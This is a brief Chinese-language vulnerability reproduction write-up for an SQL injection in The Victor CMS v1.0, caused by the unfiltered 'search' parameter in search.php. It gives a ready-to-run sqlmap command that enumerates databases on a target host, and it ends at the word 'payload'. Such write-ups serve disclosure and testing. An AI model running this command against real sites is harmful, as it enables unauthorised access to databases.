0X00简介

The Victor CMS v1.0版本存在安全漏洞，该漏洞源于通过search.php页面上的“search”参数造成的。

0X01影响范围

The Victor CMS v1.0

0X02漏洞复现

在search.php中search参数未经过滤就直接和sql语句拼接导致sql注入漏洞

1.访问首页点击搜索框，测试

直接上sqlmap，

python.exe .\sqlmap.py -u "http://mode.com/search.php" --data="search=1337*&submit=" --dbs --random-agent -v 3

payload